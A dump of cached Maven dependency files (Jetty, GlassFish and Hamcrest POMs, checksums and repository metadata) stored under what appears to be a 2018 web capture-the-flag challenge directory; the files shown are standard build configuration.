<artifactId>maven-jxr-plugin</artifactId>\n          <version>2.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.0-beta-7</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-remote-resources-plugin</artifactId>\n          <version>1.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-resources-plugin</artifactId>\n          <version>2.4.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-site-plugin</artifactId>\n          <version>2.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-source-plugin</artifactId>\n          <version>2.1.1</version>\n        </plugin>\n         <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-war-plugin</artifactId>\n          <version>2.1-beta-1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>exec-maven-plugin</artifactId>\n          <version>1.0.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.felix</groupId>\n          <artifactId>maven-bundle-plugin</artifactId>\n          <version>2.0.0</version>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n  </build>\n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n  </properties>\n  <profiles>\n    <profile>\n      <id>eclipse-release</id>\n      <build>\n        <plugins>\n          <plugin>\n            <inherited>true</inherited>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-deploy-plugin</artifactId>\n            <configuration>\n              <updateReleaseInfo>true</updateReleaseInfo>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-sources</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n         <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-javadocs</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>sign-artifacts</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/eclipse/jetty/jetty-parent/14/jetty-parent-14.pom.sha1",
    "content": "17d9344459471ef3d2792e7452ead549809eccc5"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/glassfish/api/api/1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:55:56 CST 2018\napi-1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/glassfish/api/api/1/api-1.pom",
    "content": "<?xml version='1.0' encoding='UTF-8'?>\n<!-- \n/* \n* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS HEADER. \n* \n* Copyright 1997-2007 Sun Microsystems, Inc. All rights reserved. \n* \n* The contents of this file are subject to the terms of either the GNU \n* General Public License Version 2 only (\"GPL\") or the Common Development \n* and Distribution License(\"CDDL\") (collectively, the \"License\").  You \n* may not use this file except in compliance with the License. You can obtain \n* a copy of the License at https://glassfish.dev.java.net/public/CDDL+GPL.html \n* or glassfish/bootstrap/legal/LICENSE.txt.  See the License for the specific \n* language governing permissions and limitations under the License. \n* \n* When distributing the software, include this License Header Notice in each \n* file and include the License file at glassfish/bootstrap/legal/LICENSE.txt. \n* Sun designates this particular file as subject to the \"Classpath\" exception \n* as provided by Sun in the GPL Version 2 section of the License file that \n* accompanied this code.  If applicable, add the following below the License \n* Header, with the fields enclosed by brackets [] replaced by your own \n* identifying information: \"Portions Copyrighted [year] \n* [name of copyright owner]\" \n* \n* Contributor(s): \n* \n* If you wish your version of this file to be governed by only the CDDL or \n* only the GPL Version 2, indicate your decision by adding \"[Contributor] \n* elects to include this software in this distribution under the [CDDL or GPL \n* Version 2] license.\"  If you don't indicate a single choice of license, a \n* recipient has the option to distribute your version of this file under \n* either the CDDL, the GPL Version 2 or to extend the choice of license to \n* its licensees as provided above.  However, if you add GPL Version 2 code \n* and therefore, elected the GPL Version 2 license, then the option applies \n* only if the new code is made subject to such option by the copyright \n* holder. \n*/ \n--> \n<project xsi:schemaLocation='http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd' xmlns='http://maven.apache.org/POM/4.0.0' xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'>\n    <modelVersion>4.0.0</modelVersion>\n    <parent>\n        <groupId>org.glassfish</groupId>\n        <artifactId>pom</artifactId>\n        <version>2</version>\n    </parent>\n    \n    <groupId>org.glassfish.api</groupId>\n    <artifactId>api</artifactId>\n    <packaging>pom</packaging>\n    <version>1</version>\n    <name>Java EE API modules, usually not built as part of GlassFish</name>  \n\n    <scm>\n        <connection>scm:svn:https://${java.net.username}@glassfish-svn.dev.java.net/glassfish-svn/trunk/api/</connection>\n    </scm>\n \n\t<build>\n\t\t<plugins>\n\t\t\t<plugin>\n        \t\t<groupId>org.apache.maven.plugins</groupId>\n        \t\t<artifactId>maven-jar-plugin</artifactId>\n \t\t       <configuration>\n\t\t          <archive>\n\t\t            <manifest>\n\t\t              <addDefaultSpecificationEntries>true</addDefaultSpecificationEntries>\n\t\t              <addDefaultImplementationEntries>true</addDefaultImplementationEntries>\n\t\t            </manifest>\n\t\t              <manifestEntries>\n\t\t              \t<Extension-Name>${project.groupId}</Extension-Name>\n\t\t              </manifestEntries>\n \t         \t  </archive>\n \t       \t\t</configuration>    \n    \t\t</plugin>\n\t\t\t<plugin>\n\t\t\t\t<artifactId>maven-remote-resources-plugin</artifactId>\n\t\t\t\t<executions>\n\t\t\t\t  <execution>\n\t\t\t\t\t<goals>\n\t\t\t\t\t  <goal>process</goal>\n\t\t\t\t\t</goals>\n\t\t\t\t\t<configuration>\n\t\t\t\t\t  <resourceBundles>\n\t\t\t\t\t\t<resourceBundle>org.glassfish:legal:1.1</resourceBundle>\n\t\t\t\t\t  </resourceBundles>\n\t\t\t\t\t</configuration>\n\t\t\t\t  </execution>\n\t\t\t\t</executions>\n\t\t\t</plugin>\t\n\t\t</plugins>\n\t</build>\n    \n    <modules>\n    \t<module>activation</module>\n        <module>connector</module>\n        <module>deployment</module>\n        <module>ejb</module>\n        <module>javaee</module>\n        <module>jms</module>\n        <module>jsp</module>\n        <module>mail</module>\n        <module>management</module>\n        <module>security-api</module>\n        <module>servlet</module>\n        <module>persistence</module>\n        <module>transaction</module>\n        <module>jstl</module>\n        <module>jmac</module>\n        <module>schemas</module>\n        <module>dtds</module>        \n    </modules>\n    \n    <properties>\n        <jaxrpc-api.version>1.1</jaxrpc-api.version>\n        <transaction-api.version>1.1</transaction-api.version>\n        <servlet-api.version>2.5</servlet-api.version>\n        <jsp-api.version>2.1</jsp-api.version>\n        <jstl-api.version>1.2</jstl-api.version>        \n        <jsf-api.version>1.2_08</jsf-api.version>\n        <mail-api.version>1.4</mail-api.version>        \n        <mail.version>1.4.1-ea</mail.version>\n        <ejb-api.version>3.0</ejb-api.version>\n        <persistence-api.version>1.0.3</persistence-api.version>\n        <connector-api.version>1.5</connector-api.version>\n        <management-api.version>1.1</management-api.version>\n    </properties>\n    \n    <repositories>\n        \n        <!-- all the other repositories come from the GF super POM -->\n    </repositories>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/glassfish/api/api/1/api-1.pom.sha1",
    "content": "41cb6fc0128a343c17d389a78cf8444ddc99b222"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/glassfish/pom/2/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:55:56 CST 2018\npom-2.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/glassfish/pom/2/pom-2.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!-- \n/* \n* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS HEADER. \n* \n* Copyright 1997-2007 Sun Microsystems, Inc. All rights reserved. \n* \n* The contents of this file are subject to the terms of either the GNU \n* General Public License Version 2 only (\"GPL\") or the Common Development \n* and Distribution License(\"CDDL\") (collectively, the \"License\").  You \n* may not use this file except in compliance with the License. You can obtain \n* a copy of the License at https://glassfish.dev.java.net/public/CDDL+GPL.html \n* or glassfish/bootstrap/legal/LICENSE.txt.  See the License for the specific \n* language governing permissions and limitations under the License. \n* \n* When distributing the software, include this License Header Notice in each \n* file and include the License file at glassfish/bootstrap/legal/LICENSE.txt. \n* Sun designates this particular file as subject to the \"Classpath\" exception \n* as provided by Sun in the GPL Version 2 section of the License file that \n* accompanied this code.  If applicable, add the following below the License \n* Header, with the fields enclosed by brackets [] replaced by your own \n* identifying information: \"Portions Copyrighted [year] \n* [name of copyright owner]\" \n* \n* Contributor(s): \n* \n* If you wish your version of this file to be governed by only the CDDL or \n* only the GPL Version 2, indicate your decision by adding \"[Contributor] \n* elects to include this software in this distribution under the [CDDL or GPL \n* Version 2] license.\"  If you don't indicate a single choice of license, a \n* recipient has the option to distribute your version of this file under \n* either the CDDL, the GPL Version 2 or to extend the choice of license to \n* its licensees as provided above.  However, if you add GPL Version 2 code \n* and therefore, elected the GPL Version 2 license, then the option applies \n* only if the new code is made subject to such option by the copyright \n* holder. \n*/ \n-->\n<!--\n  GlassFish master POM\n  ====================\n  \n  This POM is the organization root POM, from which all the components in the GlassFish umbrella\n  extends from. A similar POM for other organizations can be seen in [1].\n  \n  The point of this POM is to provide organizational information, repository location, and\n  license information. The nature of the POM makes it unsuitable for putting information\n  that changes frequently, so this is not a place for example to define properies that \n  designate component versions that GlassFish depends on.\n\n  In an attempt to control the build stability with SNAPSHOTs, we are experimenting with\n  no snapshot updates by default.\n\n  [1] http://svn.apache.org/viewvc/maven/pom/trunk/asf/pom.xml?view=markup\n--> \n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <prerequisites>\n        <maven>2.0.4</maven>\n    </prerequisites>\n    <groupId>org.glassfish</groupId>\n    <artifactId>pom</artifactId>\n    <packaging>pom</packaging>\n    <version>2</version>\n    <name>GlassFish Master POM</name>\n    <url>http://glassfish.org/</url>\n    <scm>\n        <connection>scm:svn:https://kohsuke@svn.dev.java.net/svn/glassfish-svn/tags/pom-2</connection>\n        <developerConnection>scm:svn:https://kohsuke@svn.dev.java.net/svn/glassfish-svn/tags/pom-2</developerConnection>\n    </scm>\n    \n    <licenses>\n      <license>\n        <name>CDDL + GPLv2 with classpath exception</name>\n        <url>https://glassfish.dev.java.net/nonav/public/CDDL+GPL.html</url>\n        <distribution>repo</distribution>\n        <comments>A business-friendly OSS license</comments>\n      </license>\n    </licenses>\n    \n  \t<organization>\n    \t<name>Sun Microsystems, Inc.</name>\n    \t<url>http://www.sun.com</url>\n  \t</organization>\n  \t\n    <repositories>\n        <repository>\n            <id>glassfish-repository</id>\n            <name>Java.net Repository for Glassfish</name>\n            <url>http://download.java.net/maven/glassfish</url>\n            <snapshots>\n                <updatePolicy>never</updatePolicy>\n            </snapshots>\n        </repository>\n        <repository>\n            <!-- back up glassfish maven repository in case the 'glassfish-repository' goes down -->\n            <id>glassfish-repository-wsinterop</id>\n            <name>Java.net Repository for Glassfish</name>\n            <url>http://maven.dyndns.org/glassfish/</url>\n            <snapshots>\n                <updatePolicy>never</updatePolicy>\n            </snapshots>\n        </repository>\n        <repository>\n            <id>java-dev-repository</id>\n            <name>Maven 1.x java.dev Snapshot Repository</name>\n            <layout>legacy</layout>\n            <!-- url>http://download.java.net/maven/1</url -->\n            <url>https://maven-repository.dev.java.net/nonav/repository</url>\n            <snapshots>\n                <updatePolicy>never</updatePolicy>\n            </snapshots>\n        </repository>\n        <repository>\n            <id>repo1.maven.org</id>\n            <name>Maven 2 default Repository</name>\n            <url>http://repo1.maven.org/maven2</url>\n            <snapshots>\n                <updatePolicy>never</updatePolicy>\n            </snapshots>\n        </repository>\n        <repository>\n            <id>maven2.java.net</id>\n            <name>Java.net Repository for Maven 2</name>\n            <url>http://download.java.net/maven/2</url>\n            <snapshots>\n                <updatePolicy>never</updatePolicy>\n            </snapshots>\n        </repository>\n        <repository>\n            <!-- in case the primary repository goes down -->\n            <id>maven2.java.net-backup</id>\n            <name>Java.net Repository for Maven 2</name>\n            <url>https://maven2-repository.dev.java.net/nonav/repository</url>\n            <snapshots>\n                <updatePolicy>never</updatePolicy>\n            </snapshots>\n        </repository>\n    </repositories>\n    \n    <pluginRepositories>\n        <pluginRepository>\n            <id>glassfish-repository</id>\n            <name>Java.net Repository for Maven 2</name>\n            <url>http://download.java.net/maven/glassfish</url>\n            <snapshots>\n                <updatePolicy>never</updatePolicy>\n            </snapshots>\n        </pluginRepository>\n        <pluginRepository>\n            <!-- back up glassfish maven repository in case the 'glassfish-repository' goes down -->\n            <id>glassfish-repository-wsinterop</id>\n            <name>Java.net Repository for Glassfish</name>\n            <url>http://maven.dyndns.org/glassfish/</url>\n            <snapshots>\n                <updatePolicy>never</updatePolicy>\n            </snapshots>\n        </pluginRepository>\n        <pluginRepository>\n            <id>maven2.java.net</id>\n            <name>Java.net Repository for Maven 2</name>\n            <url>http://download.java.net/maven/2</url>\n            <snapshots>\n                <updatePolicy>never</updatePolicy>\n            </snapshots>\n        </pluginRepository>\n        <pluginRepository>\n            <!-- backup -->\n            <id>maven2.java.net-wsinterop</id>\n            <name>Java.net Repository for Maven 2</name>\n            <url>http://maven.dyndns.org/2</url>\n            <snapshots>\n                <updatePolicy>never</updatePolicy>\n            </snapshots>\n        </pluginRepository>\n    </pluginRepositories>\n    \n    <distributionManagement>\n        <!-- our internal staging repository, to be pushed to http://download.java.net/maven/glassfish/ -->\n        <repository>            \n            <uniqueVersion>false</uniqueVersion>\n            <!-- the ID maps to ~/.m2/settings.xml, so don't change the ID -->\n            <id>rator.sfbay</id>\n            <url>dav:http://rator.sfbay/maven/repositories/glassfish/</url>\n        </repository>\n    </distributionManagement>\n    \n    <build>\n        <!--\n          please be very conservative about what plugins to configure by default,\n          as this POM will be used very widely.\n        -->\n        <plugins>\n            <plugin>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <configuration>\n                    <source>1.5</source>\n                    <target>1.5</target>\n                </configuration>\n            </plugin>\n        </plugins>\n        <extensions>\n             <extension>\n                  <groupId>org.apache.maven.wagon</groupId>\n                  <artifactId>wagon-webdav</artifactId>\n                  <version>1.0-beta-2</version>\n             </extension>\n        </extensions>\n    </build>\n\n    <properties>\n        <!--\n          java.net user id. Used in SCM setting to access java.net.\n          If your local id and java.net user id are diffrent, override this property\n          in your ~/.m2/settings.xml\n        -->\n        <java.net.username>${user.name}</java.net.username>\n    </properties>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/glassfish/pom/2/pom-2.pom.sha1",
    "content": "5356bd8674eb5705e11cef4d5792faada5857100"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/hamcrest/hamcrest-core/1.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:04 CST 2018\nhamcrest-core-1.1.pom>central=\nhamcrest-core-1.1.jar>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/hamcrest/hamcrest-core/1.1/hamcrest-core-1.1.jar.sha1",
    "content": "860340562250678d1a344907ac75754e259cdb14"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/hamcrest/hamcrest-core/1.1/hamcrest-core-1.1.pom",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n  <parent>\n    <groupId>org.hamcrest</groupId>\n    <artifactId>hamcrest-parent</artifactId>\n    <version>1.1</version>\n  </parent>\n  <artifactId>hamcrest-core</artifactId>\n  <packaging>jar</packaging>\n  <name>Hamcrest Core</name>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/hamcrest/hamcrest-core/1.1/hamcrest-core-1.1.pom.sha1",
    "content": "fe8b54d8729315853ee866322436df89aa8ab9ae"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/hamcrest/hamcrest-parent/1.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:55:45 CST 2018\nhamcrest-parent-1.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/hamcrest/hamcrest-parent/1.1/hamcrest-parent-1.1.pom",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.hamcrest</groupId>\n  <artifactId>hamcrest-parent</artifactId>\n  <packaging>pom</packaging>\n  <version>1.1</version>\n  <name>Hamcrest Parent</name>\n\n  <inceptionYear>2006</inceptionYear>\n  <organization>\n    <name>Hamcrest</name>\n    <url>http://code.google.com/p/hamcrest</url>\n  </organization>\n\n  <licenses>\n    <license>\n      <name>BSD style</name>\n      <url>http://www.opensource.org/licenses/bsd-license.php</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n\n  <scm>\n    <developerConnection>scm:svn:https://hamcrest.googlecode.com/svn/tags/hamcrest-packaging-maven-1.1</developerConnection>\n    <url>https://hamcrest.googlecode.com/svn/tags/hamcrest-packaging-maven-1.1</url>\n  </scm>\n\n  <modules>\n    <module>hamcrest-all</module>\n    <module>hamcrest-core</module>\n    <module>hamcrest-generator</module>\n    <module>hamcrest-integration</module>\n    <module>hamcrest-library</module>\n  </modules>\n  \n  \n  <!-- NOTE:  all dependencies are declared at scope provided as they are optional -->\n  <dependencyManagement>\n    <dependencies>\n      <dependency>\n        <groupId>jmock</groupId>\n        <artifactId>jmock</artifactId>\n        <version>1.1.0</version>\n        <scope>provided</scope>\n      </dependency>\n      <dependency>\n        <groupId>junit</groupId>\n        <artifactId>junit</artifactId>\n        <version>4.0</version>\n        <scope>provided</scope>\n      </dependency>\n      <dependency>\n        <groupId>org.easymock</groupId>\n        <artifactId>easymock</artifactId>\n        <version>2.2</version>\n        <scope>provided</scope>\n      </dependency>\n    </dependencies>\n  </dependencyManagement>\n\n  <dependencies>\n    <dependency>\n      <groupId>jmock</groupId>\n      <artifactId>jmock</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.easymock</groupId>\n      <artifactId>easymock</artifactId>\n    </dependency>\n  </dependencies>\n  \n  <distributionManagement>\n    <!--  \n      The id used must match a server id defined in ~/.m2/settings.xml\n    -->\n    <repository>\n      <id>hamcrest@repo1.maven.org</id>\n      <name>Central Maven Repository</name>\n      <url>scp://repo1.maven.org/home/projects/hamcrest/repository</url>\n    </repository>    \n  </distributionManagement>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-jar-plugin</artifactId>\n        <version>2.1</version>\n        <configuration>\n          <archive>\n            <compress>false</compress>\n          </archive>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo.groovy</groupId>\n        <artifactId>groovy-maven-plugin</artifactId>\n        <version>1.0-alpha-3</version>\n        <executions>\n          <execution>\n            <phase>generate-resources</phase>\n            <goals>\n              <goal>execute</goal>\n            </goals>\n            <configuration>\n              <source>\n                <body>\n                  def ant = new AntBuilder()\n                  def script = \"${basedir}/src/script/download-jars.sh\"\n                  def version = \"${release.version}\"\n                  if ( version == \"null\" ){\n                    println(\"ERROR: 'release.version' property not set.\")\n                  } else {\n                    println(\"Using release version ${release.version}\")\n                  }                                      \n                  if ( new File(script).exists() ){\n                    // we are in top-level module\n                    println(\"Found script \"+script)\n                    ant.exec(executable: script, dir: \"${basedir}\", \n                            spawn: false, failifexecutionfails: true, failonerror: true){\n                      arg(value: \"http://hamcrest.googlecode.com/files/\")\n                      arg(value: \"hamcrest-${release.version}.zip\" )\n                      arg(value: \"target\")\n                      arg(value: \"hamcrest-${release.version}\")\n                    }\n                  } else {\n                    // we are in child module\n                    ant.copy(file: \"${download.artifact.dir}/${artifact.name}.jar\", \n                            tofile: \"${project.build.directory}/downloaded.jar\", verbose: true)\n                    ant.unjar(src: \"${project.build.directory}/downloaded.jar\",\n                            dest: \"${project.build.outputDirectory}\")\n                  }\n                  </body>\n              </source>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-release-plugin</artifactId>\n        <version>2.0-beta-6</version>\n        <configuration>\n          <autoVersionSubmodules>true</autoVersionSubmodules>\n          <tagBase>https://hamcrest.googlecode.com/svn/tags</tagBase>\n        </configuration>\n      </plugin>\n    </plugins>\n    <extensions>\n      <extension>\n        <groupId>org.apache.maven.wagon</groupId>\n        <artifactId>wagon-webdav</artifactId>\n        <version>1.0-beta-2</version>\n      </extension>\n    </extensions>\n  </build>\n\n  <properties>\n    <release.version>1.1</release.version>\n    <download.dir>target</download.dir>\n    <download.name>hamcrest-${release.version}</download.name>\n    <artifact.name>${artifactId}-${release.version}</artifact.name>\n    <download.artifact.dir>${basedir}/../${download.dir}/${download.name}/${download.name}</download.artifact.dir>    \n  </properties>\n\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/hamcrest/hamcrest-parent/1.1/hamcrest-parent-1.1.pom.sha1",
    "content": "31ef4ab73bb6d6173f46ecf92d6bd9047516c6ca"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/mortbay/jetty/jetty/6.1.25/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:08 CST 2018\njetty-6.1.25.jar>central=\njetty-6.1.25.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/mortbay/jetty/jetty/6.1.25/jetty-6.1.25.jar.sha1",
    "content": "b242826712e0e5146bf57f07394691cf8cb5f5cd"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/mortbay/jetty/jetty/6.1.25/jetty-6.1.25.pom",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>project</artifactId>\n    <groupId>org.mortbay.jetty</groupId>\n    <version>6.1.25</version>\n    <relativePath>../../pom.xml</relativePath>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.mortbay.jetty</groupId>\n  <artifactId>jetty</artifactId>\n  <name>Jetty Server</name>\n  <description>Jetty server core</description>\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-dependency-plugin</artifactId>\n        <executions>\n          <execution>\n            <id>copy-deps</id>\n            <phase>install</phase>\n            <goals>\n              <goal>copy</goal>\n            </goals>\n            <configuration>\n              <artifactItems>\n                <artifactItem>\n                  <groupId>org.mortbay.jetty</groupId>\n                  <artifactId>servlet-api</artifactId>\n                  <version>${servlet-version}</version>\n                </artifactItem>\n              </artifactItems>\n              <outputDirectory>../../lib</outputDirectory>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <artifactId>maven-antrun-plugin</artifactId>\n        <executions>\n          <execution>\n            <id>clean</id>\n            <phase>clean</phase>\n            <goals>\n              <goal>run</goal>\n            </goals>\n            <configuration>\n              <tasks>\n                <delete includeemptydirs=\"true\">\n                  <fileset dir=\"../../lib/\" includes=\"${project.artifactId}-${project.version}.${project.packaging}\" />\n                  <fileset dir=\"../../lib/\" includes=\"servlet-api-${servlet-version}.jar\" />\n                  <fileset dir=\"../../etc/\" >\n                    <include name=\"webdefault.xml\"/>\n                    <include name=\"jetty.xml\"/>\n                    <include name=\"jetty-bio.xml\"/>\n                    <include name=\"jetty-ssl.xml\"/>\n                    <include name=\"keystore\"/>\n                    <include name=\"jetty-stats.xml\"/>\n                    <include name=\"jetty-xinetd.xml\"/>\n                    <include name=\"realm.properties\"/>\n                    <include name=\"jdbcRealm.properties\"/>\n                  </fileset>\n                </delete>\n              </tasks>\n            </configuration>\n          </execution>\n          <execution>\n            <id>copyjar</id>\n            <phase>install</phase>\n            <goals>\n              <goal>run</goal>\n            </goals>\n            <configuration>\n              <tasks>\n                <copy failonerror=\"false\" file=\"target/${project.artifactId}-${project.version}.${project.packaging}\" tofile=\"../../lib/${project.artifactId}-${project.version}.${project.packaging}\" />\n                <copy failonerror=\"false\" file=\"src/main/resources/org/mortbay/jetty/webapp/webdefault.xml\" tofile=\"../../etc/webdefault.xml\" />\n                <copy failonerror=\"false\" includeEmptyDirs=\"false\" todir=\"../../etc\">\n                  <flattenmapper />\n                  <fileset dir=\"src/main/config/etc\">\n                    <include name=\"jetty.xml\"/>\n                    <include name=\"jetty-bio.xml\"/>\n                    <include name=\"jetty-xinetd.xml\"/>\n                    <include name=\"jetty-ssl.xml\"/>\n                    <include name=\"keystore\"/>\n                    <include name=\"jetty-stats.xml\"/>\n                    <include name=\"realm.properties\"/>\n                    <include name=\"jdbcRealm.properties\"/>\n                  </fileset>\n                </copy>\n              </tasks>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.felix</groupId>\n        <artifactId>maven-bundle-plugin</artifactId>\n        <version>${maven-bundle-plugin-version}</version>\n        <extensions>true</extensions>\n        <executions>\n          <execution>\n            <goals>\n              <goal>manifest</goal>\n            </goals>\n            <configuration>\n              <instructions>\n                <Bundle-SymbolicName>org.mortbay.jetty.server</Bundle-SymbolicName>\n                <Bundle-RequiredExecutionEnvironment>J2SE-1.4</Bundle-RequiredExecutionEnvironment>\n                <Bundle-DocURL>http://jetty.mortbay.org</Bundle-DocURL>\n                <Import-Package>!org.mortbay.jetty.*,!org.mortbay.xml.*,!org.mortbay.resource.*,!org.mortbay.io.*,!org.mortbay.servlet.jetty.*,javax.servlet.resources;resolution:=optional,javax.servlet.jsp;resolution:=optional,org.apache.jasper.servlet;resolution:=optional,org.mortbay.jetty.handler.management;resolution:=optional,*</Import-Package>\n              </instructions>\n            </configuration>\n           </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <!--\n        Required for OSGI\n        -->\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-jar-plugin</artifactId>\n        <executions>\n          <execution>\n            <id>artifact-jar</id>\n            <goals>\n              <goal>jar</goal>\n            </goals>\n          </execution>\n          <execution>\n            <id>test-jar</id>\n            <goals>\n              <goal>test-jar</goal>\n            </goals>\n          </execution>\n        </executions>\n        <configuration>\n          <archive>               \n            <manifestFile>${project.build.outputDirectory}/META-INF/MANIFEST.MF</manifestFile>\n          </archive>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.mortbay.jetty</groupId>\n      <artifactId>jetty-util</artifactId>\n      <version>${project.version}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.mortbay.jetty</groupId>\n      <artifactId>servlet-api</artifactId>\n      <version>${servlet-version}</version>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/mortbay/jetty/jetty/6.1.25/jetty-6.1.25.pom.sha1",
    "content": "16b0d08cbfec501110726bb96e2783b28d0e771d"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/mortbay/jetty/jetty-parent/10/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:03:04 CST 2018\njetty-parent-10.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/mortbay/jetty/jetty-parent/10/jetty-parent-10.pom",
